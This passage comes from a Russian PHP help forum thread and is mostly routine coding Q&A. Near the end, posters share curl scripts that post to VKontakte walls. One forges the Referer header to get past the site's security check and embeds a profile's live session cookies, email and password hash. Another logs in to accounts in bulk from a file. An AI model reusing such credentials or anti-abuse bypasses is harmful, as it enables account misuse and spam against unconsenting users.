print "$koll"."<br/>";
print "$perv";

?>

Gifts
18.06.2009, 08:37
Chrek625 while (!is_int($nnn)) - создает бесконечный цикл.

На предыдущей странице у .:EnoT:. решение вашей задачки, если же требуется дополнить строку нулями, чтобы число знаков было кратно 6, то:


$input = '1234567';
$len = strlen($input);
if ($len % 6) {$out = str_pad($input, $len+(6-$len % 6), "0", STR_PAD_LEFT); }
else $out = $input;
var_dump($out);

STLcRash
18.06.2009, 12:47
Вот PHP скрипт:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>просмотр данных</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
</head>
<body>

<form method="POST" action="index.php">
<label>

Введите id<br>
<input type="text" name="id"/>
</label>
<input name="post" type="submit" value="Отправить"/>
</form>

После нажатия на кнопку "отправить" должна появляться ссылки вида "http://бла_бла_бла=XXXX"
Где "ХХХХ" - число, введённое в "<input type="text" name="id"/>"
Вопрос: где должен храниться файл со ссылками и какой вид он должен иметь? (расширение, дериктория, содержание файла)

alwex
18.06.2009, 13:56
если хочешь что ссылка была вида http://site.ru/index.php?id=5
то:
1. Форма должна быть с method="GET"
2. правильный action указывай или если обработчик формы в файле формы то вообще его не указуй, а там где обработчик сделай if(isset($_GET['post'])) { чтобы была проверка или отправлен запрос

alwex
18.06.2009, 19:30
помогите решить вопрос. а то у меня трабла какае-то. вот уже мучаюсь 2 часа.

у меня есть цикл. он делает обработку полей. а как сделать чтобы если поле свободное то он не делал обработку его... а то я делал через if(!empty и там начинает не то что надо выводить

for($i = 1; $i < 31; $i++) {
$time = $_POST['time_'.$i.''];
$prog = $db->safesql($_POST['prog_'.$i.'']);
$text.="<b>{$time}</b> {$prog}<br />";
}

FireFenix
18.06.2009, 21:26
if (isset($var))
{
}


if (strlen(trim($var)) > 0)
{
}

Pashkela
18.06.2009, 21:29
{$prog}


Ё! C какой книжки списал, дай почитать

alwex
18.06.2009, 21:37
не то, я пробовал. оно выводит при любых значениях:

324 2342
234 234
324 423
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342
34 342

повторяет последнее...

alwex
18.06.2009, 21:37
Ё! C какой книжки списал, дай почитать

не списал... прочитал...

FireFenix
18.06.2009, 21:46
не то, я пробовал. оно выводит при любых значениях:

324 2342
234 234
324 423
34 342
34 342

повторяет последнее...

<form method="post" action="?">
<input name="time_1" value="1"><br>
<input name="time_2" value="2"><br>
<input name="time_3" value=" "><br>
<input name="time_4" value="4"><br>
<input name="time_5"><br>
<input name="time_6" value="6"><br>
<input name="time_7" value=""><br>
<input name="time_8" value="8"><br>
<input name="time_9" value=" "><br>
<input name="time_10" value="10"><br>
<input type="submit" value="Submit">
</form>
<hr>

<?php

for ($i = 1; $i < 11; $i++)
{
if (strlen(trim($_POST['time_' . $i])) > 0)
{
echo($_POST['time_' . $i] . '<br>');
}
}

?>

Всё работает....
Т.к. у тебя повторяется. смотри где выполняется вывод сообщений. Если после проверки переменной - то тогда её нада очищать в каждом цикле

alwex
18.06.2009, 21:51
ща попробую немного изменить. смысл понял. спс

О_о получилось... спс

geforse
19.06.2009, 11:47
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)

На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально

Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(

Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(

wildshaman
19.06.2009, 12:04
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)

На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально

Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(

Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(
а что, если выводить картинку с параметром ?rand={random num}

Dimi4
19.06.2009, 12:08
<?php
header("Cache-Control: no-cache, must-revalidate");
?>

Или
<?php
// Date in the past
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
//© w3schools
?>

Pashkela
19.06.2009, 12:10
2 geforse:

Попробуй так http://support.microsoft.com/kb/222064/ru

geforse
19.06.2009, 12:40
спасибо большое за помощь)
но не работает :(

Способы Dimi4'a не работают вобще ... Хз почему(

Pashkela
Сделал как там написано, страница обновляется каждые 5сек. и картинка каждый раз другая, но если отключить самообновление и обновлять ручками, то попрежнему кэшируется(

Попробую способоб wildshaman'a

ещё раз спасибо)

geforse
19.06.2009, 12:52
Как можно удалить из папки все файлы определенного формата ?

FireFenix
19.06.2009, 13:10
<?php

$format = '.txt';
$dir = '.';

if ($handle = opendir($dir))
{
while (false !== ($file = readdir($handle)))
{
if ($file != "." && $file != "..")
{
if (substr($file, -4, 4) == $format)
{
unlink($file);
}
}
}

closedir($handle);
}

?>

Pashkela
19.06.2009, 13:36
2 FireFenix:

А если мне надо будет удалить все .html или .php3 или .pl файлы - переписывать функцию?:)


<?php
@set_time_limit(0);
@ini_set("display_errors","1");

$path = '/home/http/MP3'; // Абсолютный путь к папке для удаления, без слеша в конце
$ext = 'php'; // Файлы, которые надо удалить, без точки

fold ($path,$ext);
echo "done";

function fold($rootDir,$ext2) {
$invisibleFileNames = array(".", "..");
$dirContent = scandir($rootDir);
foreach($dirContent as $key => $content) {
$path = $rootDir.'/'.$content;
if(!in_array($content, $invisibleFileNames)) {
if(is_file($path) && is_readable($path)) {
$allData = $path;
$ext1 = pathinfo($allData, PATHINFO_EXTENSION);
if ($ext2==$ext1) unlink($allData);
}elseif(is_dir($path) && is_readable($path)) {
$allData = fold($path, $ext2);
}
}
}

}
?>


+ ссылка к размышлению:

http://habrahabr.ru/blogs/php/37753/

Dj-Matrix
19.06.2009, 14:06
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)

На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально

Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(

Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(

Если я правильно понял, то это должно работать.

<script language="JavaScript">
var src = 'image.gif'; //Путь к картинке
document.write('<img src="'+src+'?'+Math.random()+'">');
</script>

Player#1
19.06.2009, 14:16
Если я правильно понял, то это должно работать.

почему бы не написать тоже самое на php. тема то [рhр] называется..

а вообще идея, как мне кажется правильная: рандомные значения после ?


<?php
echo "<img src='img.jpg?".time()."'>";
?>

KaZ@NoVa
19.06.2009, 15:36
Есть скрипт, при обращении к которому он создаёт картинку pic.jpg => Сохраняет её в папке => Выводит в браузере
(нажимаем "Обновить страницу" и картинка меняется)

На локалхосте под любыми браузерами всё норм пашет
Залил на хостинг, тестировал в IE7 тоже всё нормально

Но например в FireFox 3 сколько не тыкай обновить постоянно выводит одну и ту же картинку, но если в настройках нажать Очистить Кэш то лиса начинает нормалбно работать(

Пробовал unlink('pic.jpg');, не помогает ... всё равно лиса выводит картинку из кэша :(

Ctrl+F5

KaZ@NoVa
19.06.2009, 16:30
а что, если выводить картинку с параметром ?rand={random num}
Тоже вариант, но лучше просто ?{$rand} - смотри, как vkontakte сделан..

geforse
19.06.2009, 18:46
Всё уже сделал давно) спасибо :)

[ После обращения к скрипту имя картинки постоянно меняется) ]

geforse
20.06.2009, 11:43
Есть ли готовые решения индикатора загрузки страниц ?
в гугле только индикатор загрузки файлов на сервер нашёл, можно конечно попробовать его переписать) но может велосипед до меня изобрели ?)

Dimi4
20.06.2009, 11:59
http://svyt.net/wdsect-45.html ?

+ http://danneo.com/forum/showthread.php?t=3384

PaCo
20.06.2009, 12:18
Как можно удалить из папки все файлы определенного формата ?

foreach (glob("*.test") as $filename) {
unlink($filename);
}

KrafT
20.06.2009, 17:48
Есть ответ от сервера The URL has moved <a href="http://сайт.ру/welcome">here</a>

как зделать чтоб скрипт копиравал сайт.ру в файл?

Stoonn
20.06.2009, 17:51
Как с помощью PHP определить ип сайта по его названию.Желательно без system() и т д

geforse
20.06.2009, 18:00
Есть ответ от сервера The URL has moved <a href="http://сайт.ру/welcome">here</a>

как зделать чтоб скрипт копиравал сайт.ру в файл?

<?php
$url = '<a href="http://сайт.ру/welcome">here</a>'; // URL
$file = 'sites.txt'; // Куда записывать

preg_match('#<a href="http://(.*?)/welcome">here</a>#i', $url, $match_out);
$fh = fopen($file, "a+");
$success - fwrite($fh, $match_out[1]."\n");
fclose($fh);
?>

jecka3000
20.06.2009, 18:15
где тут может быть ошибка?

function ListGoods(){
GLOBAL $id_group, $rows, $goods_info, $main_page;

# если передано ID группы товаров, то присваиваем его переменной
# если - нет, тогда будет выводится группа указанная по умолчанию в конфигурации
после нее есть кусочек
if ( !empty($_GET['idn']) && is_numeric($_GET['idn']) ) {
$idn = (int) trim($_GET['idn']);
} else {
$idn = $id_group;
}

Krist_ALL
20.06.2009, 18:17
echo gethostbyname ('antichat.ru');

b3
20.06.2009, 21:23
В чем ошибка? Пересидел чтоли, немогу расчехлится. Регулярки пропускают лшюбые значения если вначале вводить двойные ковычки

<?php
$sysmessage = '';
function Form()
{
global $sysmessage;
echo '
<table border="1" align="center">
<form method="post" enctype="application/x-www-form-urlencoded">
<tr>
<td colspan="2" align="center">'.$sysmessage.'Регистрация</td>

</tr>
<tr>
<td>Логин</td>
<td><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td>
</tr>
<tr>
<td>Пароль</td>
<td><input type="password" align="CENTER" size="30" maxlength="30" name="password" /></td>
</tr>
<tr>
<td>Повтор пароля</td>
<td><input type="password" align="CENTER" size="30" maxlength="30" name="password2" /></td>
</tr>
<tr>
<td>Имейл</td>
<td><input type="text" align="CENTER" size="30" maxlength="30" name="email" /></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="register" /></td>

</tr>
</form>
</table>
';
}
if(empty($_POST['login']) || empty($_POST['password']) || empty($_POST['password2']) || empty($_POST['email']))
{
Form();
exit;
}
if($_POST['password'] != $_POST['password2'])
{
$sysmessage = '<font color="red"><b>Пароли не совпадают</b></font><br>';
Form();
exit;
}
$login = htmlspecialchars($_POST['login']);
$password = htmlspecialchars($_POST['password']);
$password2 = htmlspecialchars($_POST['password2']);
$email = htmlspecialchars($_POST['email']);
##
if(!preg_match('#[a-z0-9]{3,20}#i', $login))
{
$sysmessage = '<font color="red"><b>Неправильный формат Логина</b></font><br>';
Form();
exit;
}
##
if(!preg_match('#[a-z0-9_]{6,20}#i', $password))
{
$sysmessage = '<font color="red"><b>Неправильный формат Пароля</b></font><br>';
Form();
exit;
}
##
if(!preg_match('#[\.\-_A-Za-z0-9]+?@[\.\-A-Za-z0-9]+?[\.A-Za-z0-9]{2,}#', $email))
{
$sysmessage = '<font color="red"><b>Неправильный формат Имейла</b></font><br>';
Form();
exit;
}

echo "login: $login<br>password: $password<br>email: $email";

?>

Gifts
20.06.2009, 21:37
b3 htmlspecialchars(htmlentities( - убрать

В начало регулярок добавить ^ в конец $. Например !preg_match('#^[a-z0-9_]{6,20}$#i'

И только в самом конце при выводе логина добавить htmlspecialchars

astrologer
20.06.2009, 21:40
Неправильный формат пароля у паролей не бывает неправильных форматов

Pashkela
20.06.2009, 21:43
Почему, бывает, при регистрации, не меньше 6 символов, например, или есть запрещенные символы

astrologer
20.06.2009, 21:56
Почему, бывает, при регистрации, не меньше 6 символов, например, или есть запрещенные символыДа, ограничение минимальной длины имеет смысл, но запрещенные символы? Всё равно же будет хеш.

Gin
25.06.2009, 21:54
написал скрипт суть кторого: берет из файла url'ы поочередно к ним подключается, если на ресурсе присутсвтует искомое слово записывает адрес ресурса в файл.

Проблема в том что, если прописывать в ручную куда подключится, то все нормально, а стоит подставить туда переменную пишет Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: No such host is known.

Вот код:

<?php

$file=file("url.txt");
foreach($file as $val=>$key){
trim($key);
$str='';
echo $key;
$fp = fsockopen ($key,80, $errno,$errstr);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {

$out = "GET / HTTP/1.1\r\n";
$out .= "Cookie: PREF=ID=c34a97b63a61567a:LD=en:CR=2:TM=1127409984: LM=1127409984:S=XLS1Gm0Z48j3QNZo;\r\n";
$out .= "Host: ".$key."\r\n";
$out .= "Connection: Close\r\n\r\n";
fputs ($fp, $out);
while (!feof($fp)) {
$str.= fgets ($fp,128);
}
if(strpos($str,"String")){
$f=fopen("out.txt","a+");
fputs($f,$key."\r\n");
}
fclose ($fp);
}

}
?>

d_x
25.06.2009, 22:01
trim($key);
замени на
$key=trim($key);

Gin
25.06.2009, 22:13
2d_x
Все равно пишет тоже самое.
ЗЫ
Пытаюст приспособить этот скрипт для чеканья гугл закладок групп и прочих проектов гугл.

d_x
25.06.2009, 22:21
Gin, а как выглядят url'ы в файле?

Gin
25.06.2009, 22:30
docs.google.com/View?id=d9qwskc_6fwnfsdf

вот так.

d_x
25.06.2009, 22:38
docs.google.com/View?id=d9qwskc_6fwnfsdf

Правильная работа с сокетами:

$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30); //где host - имя домена без всяких директорий, т.е. docs.google.com



<?php
$f=fopen("out.txt","a+");

$file=array_map('trim',file("url.txt"));
foreach($file as $val=>$key){
$str='';
echo $key;

$key=explode('/',$key,2);

$fp = fsockopen ('tcp://'.$key[0],80, $errno,$errstr);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {

$out = "GET /{$key[1]} HTTP/1.1\r\n";
$out .= "Cookie: PREF=ID=c34a97b63a61567a:LD=en:CR=2:TM=1127409984: LM=1127409984:S=XLS1Gm0Z48j3QNZo;\r\n";
$out .= "Host: ".$key[0]."\r\n";
$out .= "Connection: Close\r\n\r\n";
fputs ($fp, $out);
while (!feof($fp)) {
$str.= fgets ($fp,128);
}
if(strpos($str,"String")!==false){
fputs($f,$key[0].'/'.$key[1]."\r\n");
}
fclose ($fp);
}

}

fclose($f);
?>

Проверил, вроде работает так.

Gin
25.06.2009, 22:46
2d_x
Все равно тоже самое выдает, ты тестировал срипт у себя :?
Может дело в настройке сервера и/или PHP:?
Что обязательно должно быть включенно для работы fsockopen:?

d_x
25.06.2009, 22:50
Я пару раз сообщение редактировал, проверил скрипт, у меня нормально содержимое страницы сейчас получает.

Gin
25.06.2009, 23:00
2d_x
Спасибя разобрался, тут дело в том что explode не правильно у ми работает (как ни странно это звучит) не бъёт урл на две части щас разобрался благодаря тебе, спасибо.

Architek86
26.06.2009, 22:45
Народ, допустим дан CURL, высылающий логин и пароль на сервер авторизации форума.
Сможет ли CURL принять куки и передать их мне в браузер, дабы форум смог "запомнить меня"? Если да, то как надо правильно прописать запрос CURL?

m0Hze
26.06.2009, 22:58
Народ, допустим дан CURL, высылающий логин и пароль на сервер авторизации форума.
Сможет ли CURL принять куки и передать их мне в браузер, дабы форум смог "запомнить меня"? Если да, то как надо правильно прописать запрос CURL?
brrrr

neval
27.06.2009, 00:18
http://ru.wikipedia.org/wiki/CURL

мда..

Mixon
27.06.2009, 11:56
Как определить апсолютный путь к директории в которой лежит скрипт?
Тоисть есле он лежит там например http://localhost/uri/pak/xxx/ing.php то апсолютный путь должен быть:
Z:/home/localhost/www/uri/pak/xxx/

Extremal
27.06.2009, 11:59
2Mixon

<?php
echo realpath('file');
?>

Mixon
27.06.2009, 12:03
2Mixon

<?php
echo realpath('file');
?>

Пустая страница...ты сам проверял етот код?

m0Hze
27.06.2009, 12:06
Может стоит за место 'file' написать имя файл? м?

d_x
27.06.2009, 12:07
dirname($_SERVER['SCRIPT_FILENAME']);

Mixon
27.06.2009, 12:10
Спасиб d_x,и как всегда ты мне помог :)

Extremal
27.06.2009, 12:33
Пустая страница...ты сам проверял етот код?
no comments...

Winst0n
27.06.2009, 15:05
$db = mysql_connect("localhost", "root", "");
mysql_select_db("samp", $db);

$result = mysql_query("select * from samp where ip='94.23.120.101' & port='9999'");

if ($result > 0)
echo 'yes';
else
echo 'not';

в бд есть 94.23.120.101,9999
че в ip, port не пишешь все 'yes'

d_x
27.06.2009, 15:09
1. Замени & на and.

2. Это просто проверка успешности запроса, а он успешный, поэтому всегда yes:

if ($result > 0)
echo 'yes';
else
echo 'not';

Можно так:

print mysql_num_rows($result)>0 ? 'yes' : 'no';

zifanchuck
27.06.2009, 18:02
Хочу реализовать вот что:
крон запускает скрипт допустим раз в день(например в конце дня гдето в 23-30) логинется во все партнерки, получает статистику извлекает статистику за день, записывает все ето и отсылает смс на телефон. Вот с помощью курла можно будет ето организовать?
Где в инете можна почитать про курл?

FireFenix
27.06.2009, 18:06
www.php.net/curl

Sin3v
27.06.2009, 22:22
$profile_language = 'kz';
if ($profile_language == 'kz') {$profile_language_kz = 'selected';} else {$profile_language_ru = 'selected';}

...

<select name="language">
<option value="kz" selected="$profile_language_kz">Казакша</option>
<option value="ru" selected="$profile_language_ru">Русский</option>
</select>

Отображает 'Русский', хоть в переменной $profile_language значение kz или ru, в чем проблема?

roddik
27.06.2009, 22:37
Отображает 'Русский', хоть в переменной $profile_language значение kz или ru, в чем проблема?

Проблема в том, что уже само наличие атрибута selected говорит о выбранности, сделай так:

$profile_language = 'kz';
if ($profile_language == 'kz') {$profile_language_kz = 'selected="selected"';} else {$profile_language_ru = 'selected="selected"';}

...

<select name="language">
<option value="kz" $profile_language_kz>Казакша</option>
<option value="ru" $profile_language_ru>Русский</option>
</select>

KrafT
28.06.2009, 02:22
Как вставить переменную в сылку?
Например

$host = 'xxx';
$q->Post('http://$host.server.com');


И он заходет на $host.server.com но нужно xxx.server.com
Как бытЬ?

Extremal
28.06.2009, 02:30
$host = 'xxx';
$q->Post('http://'.$host.'.server.com');

Вот так ;)

XopoIII
28.06.2009, 03:27
Как вставить переменную в сылку?
Например

$host = 'xxx';
$q->Post('http://$host.server.com');


И он заходет на $host.server.com но нужно xxx.server.com
Как бытЬ?
то что внутри кавычек, считается как простой текст, вот он тебе и выводит просто текстом $host.server.com

Extremal
28.06.2009, 03:36
то что внутри кавычек, считается как простой текст, вот он тебе и выводит просто текстом $host.server.com
Ты сам понял что за бред ты сказал?Вот тебе пример с кавычками,внутри и работает нормально:
$host = 'xxx';
$q->Post("http://$host.server.com");
Уточнял хотя бы что имелл ввиду ординарные,а то путаешь людей :-\

XopoIII
28.06.2009, 04:42
ладно написал не правильно, смотрел на его пример там одинарные вот и написал...=(

Mixon
28.06.2009, 11:06
Как можно сделать как бы екстренный вылет скрипта по времени? например есле скрипт обрабатываеться более 20 секунд то выполнялось определённое действие.

m0Hze
28.06.2009, 11:10
php.ini правь max_execution_time :)

Mixon
28.06.2009, 11:14
Дык мне нужно чтоб имеено в скрипте выполнялось действие,и чтобы етот скрипт работал везде,без правки пхп.ини.
Прошло 20 секунд,страница не загрузилась ---->
echo "Time out!";
exit();
и всё...

m0Hze
28.06.2009, 11:19
set_time_limit(20) =)

Mixon
28.06.2009, 11:27
А как прилепить те действия к нему?? в случае тайм аута чтоб именно те действия и больше ничего не исполнялось...да и нужда в етом уже пропала,такчто думаю вопрос closed,поскольку в ajax проще уже реализовать ето))

bomber
29.06.2009, 13:20
есть таблица с логами (logs) с колонкой date в виде 2009-06-04, как удалить данные недельной давности из этой таблицы, тоесть после 2009-05-28 ?

KrafT
29.06.2009, 15:42
Есть ли функция для скачивание картики с сайта?

m0Hze
29.06.2009, 15:50
Есть ли функция для скачивание картики с сайта?
Корректно поставленый вопрос - 50% ответа.Сформулируйте точнее.

wildshaman
29.06.2009, 15:55
Есть ли функция для скачивание картики с сайта?
file_get_contents("rfghnbyrf")

sNt
30.06.2009, 00:00
str_replace("\", "blabla", $str);

В случае со знаком "\" выдает ошибку. Как избежать? Нужно этот знак позаменять в тексте :confused: спс

m0Hze
30.06.2009, 00:07
str_replace("\\", "blabla", $str);

wildshaman
30.06.2009, 00:07
str_replace("\", "blabla", $str);

В случае со знаком "\" выдает ошибку. Как избежать? Нужно этот знак позаменять в тексте :confused: спс
str_replace('\', "blabla", $str);

sNt
30.06.2009, 00:21
Нифига. Не выходит. Короче, вот весь исходник:

<?php

if($_POST['string']) {

$str=preg_replace("/q/i", "%11", $_POST['string']);
$str=preg_replace("/w/i", "%12", $str);
$str=preg_replace("/e/i", "%13", $str);
$str=preg_replace("/r/i", "%14", $str);
$str=preg_replace("/t/i", "%15", $str);
$str=preg_replace("/y/i", "%16", $str);
$str=preg_replace("/u/i", "%17", $str);
$str=preg_replace("/i/i", "%18", $str);
$str=preg_replace("/o/i", "%19", $str);
$str=preg_replace("/p/i", "%20", $str);
$str=preg_replace("/a/i", "%21", $str);
$str=preg_replace("/s/i", "%22", $str);
$str=preg_replace("/d/i", "%23", $str);
$str=preg_replace("/f/i", "%24", $str);
$str=preg_replace("/g/i", "%25", $str);
$str=preg_replace("/h/i", "%26", $str);
$str=preg_replace("/j/i", "%27", $str);
$str=preg_replace("/k/i", "%28", $str);
$str=preg_replace("/l/i", "%29", $str);
$str=preg_replace("/z/i", "%30", $str);
$str=preg_replace("/x/i", "%31", $str);
$str=preg_replace("/c/i", "%32", $str);
$str=preg_replace("/v/i", "%33", $str);
$str=preg_replace("/b/i", "%34", $str);
$str=preg_replace("/n/i", "%35", $str);
$str=preg_replace("/m/i", "%36", $str);
$str=preg_replace("/,/i", "%37", $str);
$str=preg_replace("/'/i", "%38", $str);
$str=str_replace('"', "%39", $str);
$str=str_replace("/", "%40", $str);
$str=str_replace(".", "%41", $str);
$str=str_replace(";", "%42", $str);
$str=str_replace(":", "%43", $str);
$str=str_replace("<", "%44", $str);
$str=str_replace(">", "%45", $str);
$str=str_replace("\%", "%", $str);

echo $str;

} else {
echo "<form action='index.php' method='POST'>";
echo "<tr><td align='right'>Строка: </td><td><input type='text' name='string' size=20></td></tr>";
echo "<tr><td></td><td><input type='submit' value='Обработать'></td></tr>";
}

?>

m0Hze
30.06.2009, 00:25
Оо жостко...

AFoST
30.06.2009, 07:39
Нифига. Не выходит. Короче, вот весь исходник:

<?php
...
$str=str_replace("\\%", "%", $str);
...
?>
так пробовал?

sNt
30.06.2009, 12:12
Не, надо заменять "\", а не %. Сори, что не уточнил... Т.е. должно быть что-то вроде этого:
$str=str_replace("\", "blabla", $str);

Но парсер пишет ошибку... Пробывал по разному, не выходит.

SmartMix
30.06.2009, 12:55
А чем тебя предложеный вариант $str=str_replace("\\", "blabla", $str); неустраивает???

wildshaman
30.06.2009, 12:59
Не, надо заменять "\", а не %. Сори, что не уточнил... Т.е. должно быть что-то вроде этого:
$str=str_replace("\", "blabla", $str);

Но парсер пишет ошибку... Пробывал по разному, не выходит.

там где слеш замени двойные кавычки на одинарные.
'\'

Gifts
30.06.2009, 16:18
sNt Попробуйте для разнообразия пользоваться средами с подсветкой синтаксиса. Например на форуме:
$str = '\' тут тоже подсвечено как текст внутри кавычек, потому что слеш экранирует'; Пользуйтесь '\\'

И что, str_ireplace и массивы для замен не можно уже? Надо обязательно писать сто строчек?

lambda88
30.06.2009, 21:37
Привет! Скачал с нашего форума парсер DLE сайтов и решил его довести до ума. Сделал вывод полного пути картинок, ЧПУ, добавил автора. Но есть проблемы с которыми я справиться не могу, а именно:

-обновление количества пабликов у автора (обновляется только при пересчете статистики);
-убрать из новостей <div id='news-id-...'>новость</div> (при просмотре исходного кода получается такая запись <div id='news-id-новый id'><div id='news-id-взятый с украденной новости'>новость</div></div>

Есть какие нибудь мысли?

geforse
01.07.2009, 14:39
подскажите как правильно слать сообщение на стену вконтакте ?

шлю пост запрос курлом и в ответ получаю вот эту надпись Security Breach


# Сначала авторизируюсь, потом шлю запрос

$ch = curl_init('http://vkontakte.ru/wall.php');
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'act=get10&wall_hash=0723c66a14426b8ff7944dc3d3d5be68&wpage=100000&seed=%D0%9F%D1%80%D0%B8%D0%B2%D0%B5%D1%82%0A%D0%BA %D0%B0%D0%BA%20%D0%B4%D0%B5%D0%BB%D0%B0%20%3F&fpage=1&mid=252967150202&n=3');
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/index.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$res = curl_exec($ch);

Mixon
01.07.2009, 16:56
Бгггггггггггг,а ты куки не забыл??
+ там походу доп параметры есчё же которые меняються.... вот все:

Тэг Значение
act get10
wall_hash 95eaf3defdb351e8847c81bc92741d1f
wpage 100000
seed Hi to all!
fpage 1
mid 75429932635
n 3

Nightmarе
01.07.2009, 17:22
Вот тут у меня вопрос возник, а можно ли через .htaccess сделать имитацию ошибки 404 как это реализованно на php ???

На php это реализовывалось так:
header("HTTP/1.0 404 Not Found");
file_get_contents('404.html');
А как тоже самое сделать через .htaccess ?
Чтобы был тот же принцип, сначала выводим заголовок, а затем страничу с ошибкой.

Kaimi
01.07.2009, 17:27
А как тоже самое сделать через .htaccess ?
Чтобы был тот же принцип, сначала выводим заголовок, а затем страничу с ошибкой.

Сделай рерайт на несуществующую страницу и добавь ErrorDocument 404 /404.html

geforse
01.07.2009, 17:27
Mixon ты вобще мой код видел ? o_0

Бгггггггггггг,а ты куки не забыл??



curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");



Тэг Значение
act get10
wall_hash 95eaf3defdb351e8847c81bc92741d1f
wpage 100000
seed Hi to all!
fpage 1
mid 75429932635
n 3


curl_setopt($ch, CURLOPT_POSTFIELDS, 'act=get10&wall_hash=0723c66a14426b8ff7944dc3d3d5be68&wpage=100000&seed=MESSAGE&fpage=1&mid=252967150202&n=3');


З.Ы. я конечно понимаю хакир, все дела, но смотри в след.раз внимательнее ;)

Mixon
01.07.2009, 17:57
Ссор,насчёт куков то ступил,недосмотрел:)
Вот посидел,написал норм пример,работающий,и тоже столкнулся с этой ошибкой,но решил,вся проблемя в Referer! Он должен быть вконтакте.сру/ид1234 , пример:
Referer: http://vkontakte.ru/id23316952
Ну а вот скрипт который шлёт написал

<?php
function curls($url,$zapros,$method){
$cookies="remixlang=0; remixmid=23316952; remixemail=zag1496@mail.ru; remixpass=4c94bf71ef857d4bb4bde227f7521610; remixsid=e4e697df775170a5f9e7587c466eba5a36ad98d05 ac9bbe99c756b12";
$ref = 'http://vkontakte.ru/id23316952';
$ch=curl_init ($url);
$ua = 'Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
curl_setopt($ch, CURLOPT_POSTFIELDS, $zapros);
$page = curl_exec($ch);
if($method=="1"){
preg_match("/wall_hash: '(.*?)', wpage/i", $page, $wall_hash);
preg_match("/name=\"to_id\" value=\"(.*?)\"\/>/i", $page, $to_id);
$return=array($wall_hash[1],$to_id[1]);
}else{
$return=$page;
}
return $return;
}

$cur=&curls("http://vkontakte.ru/index.php","","1");
$zapros="act=get10&wall_hash=".$cur[0]."&wpage=100000&seed=TEST&fpage=1&mid=".$cur[1]."&n=3";
$cur=&curls("http://vkontakte.ru/wall.php",$zapros,"2");
echo $cur;

?>

В куках профиль подставной,можете юзать на здоровье;)

geforse
01.07.2009, 18:09
Отлично, действительно реф стоило только поменять)

Mixon, вот моя функция для логина вконтакте, а то у тебя авторизация по кукам


function login($n = ''){
$akk = 'akk.txt';
$varname = file($akk);
$count = count ($varname);
preg_match('#^(.*?):#i', $varname[$n], $email);
preg_match('#:(.*?)$#i', $varname[$n], $pass);

$ch = curl_init('http://vkontakte.ru/login.php');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'op=a_login_attempt&email='.$email[1].'&pass='.$pass[1].'&expire=0');
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/index.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
}

// Вызывается например так:
login(1);
// Ну а потом по контакту ходим с кукками "./cook"

Mixon
01.07.2009, 18:11
